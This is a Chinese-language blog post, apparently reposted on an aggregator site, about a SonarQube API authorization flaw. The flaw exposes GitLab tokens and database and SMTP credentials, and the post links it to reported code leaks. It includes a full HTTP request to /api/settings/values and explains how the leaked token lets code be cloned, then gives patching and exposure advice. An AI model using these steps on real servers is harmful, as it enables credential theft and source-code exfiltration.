栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 网络安全 > 系统安全

SonarQube API越权漏洞的思考

系统安全 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力



SonarQube是一款基于Web的工具,是一个开源的代码质量管理系统,可帮助开发人员生成没有安全问题、错误、漏洞、异常和一般问题的代码。

如果您在开发一个小项目,那可能很容易,您可以仔细检查代码以发现任何问题。SonarQube属于SAST类的代码检测工具,更侧重于质量检查,也有一些针对性的安全检测,比如SQL注入等,我用过商业版,试图利用SAST来发现和解决代码安全问题,比较失望。规则库比较弱,自定义能力差,毕竟只是更专注于质量检查。

大背景

近期,境外网站又报道了一些涉及中国多个机构和企业的代码泄漏,就是利用SonarQube的这个API越权漏洞进行的。

(1)The Chinese Ministry of Public Security 



 


 


(2) BOSCH 博世 



 


(3) 梅赛德斯奔驰





SonarQube API 未授权下载源代码漏洞利用过程及原理

SonarSource SonarQube由于存在安全漏洞,攻击者可利用该漏洞通过API设置值URI,发现明文的SMTP和GitLab凭证(tocken)等敏感信息泄露,可导致gitlab中项目的代码可以被任意clone下载,其实这个漏洞在2019年就被发现了。官方修复过一次,但是又出现了新的漏洞,并且一直延伸到7-8-9多个版本。

漏洞细节:

漏洞利用过程及证明: 
  •      (1)敏感配置泄漏:      以普通用户登陆就可以查看该AP I信息,如下: 
  •     GET /api/settings/values HTTP/2       Host: sonar.******.com 
  •      Cookie:    experimentation_subject_id=ImExZjYyYTg4LTUwMmEtNDllOS1hNDNhLTZkYjc3OWVhNDM3YiI%3D--5753e714d025d34f4249d6d9d8cc7292ca0200b6; XSRF-TOKEN=5n4f4tq6qi30hg65n2h0qth56e; JWT-SESSION=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJBWGpaWGotUmlDeWV5OUM0SnkwbCIsInN1YiI6ImZlbmd3ZWlndW8iLCJpYXQiOjE2MTg1NTQ1MzUsImV4cCI6MTYxODgxMzczNSwibGFzdFJlZnJlc2hUaW1lIjoxNjE4NTU0NTM1ODI1LCJ4c3JmVG9rZW4iOiI1bjRmNHRxNnFpMzBoZzY1bjJoMHF0aDU2ZSJ9.5GEbBs6oJnoRYnSbPC3BUysSZgy5tIu-LOuO7iOSEGI Sec-Ch-Ua: "Chromium";v="89", ";Not A Brand";v="99" 
  • Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 
  • User-Agent: Mozilla/5.0 (KaliLinux; ARM) AppleWebKit/637.36 (KHTML, like Gecko) Chrome/189.0.4389.90 Safari/637.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 
  • Sec-Fetch-Site: none Sec-Fetch-Mode: navigate 
  • Sec-Fetch-User: ?1 Sec-Fetch-Dest: document 
  • Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 
  • Connection: close  
  • 官方进行过修复然后该接口应该只允许管理员可查看。 但是很多内置了默认账号和简单弱口令账号同样可查看。 
  •    (2) 利用该user_token可以来从gitlab获取代码: 


  • 看,就是sonar.gitlab.user.token , 直接可以拉代码数据。

    还能通过配置文件看到数据库账号密码等。非常久远的漏洞了。

    看看如何利用sonar.gitlab.user.token 拉代码:



    解决办法

    关注厂商官方网站,即使升级补丁。

    友情提醒

    看看至少有多少暴露在公网:数量还是很惊人的,这么多假装在乎代码质量的用户,不在乎安全性个代码泄露。



    SonarQube 不建议对公网开放,Devops流程中如需要使用SAST请采用专业的工具,请弃用SonarQube。

     

    转载请注明:文章转载自 www.mshxw.com
    本文地址:https://www.mshxw.com/it/824224.html
    我们一直用心在做
    关于我们 文章归档 网站地图 联系我们

    版权所有 (c)2021-2022 MSHXW.COM

    ICP备案号:晋ICP备2021003244-6号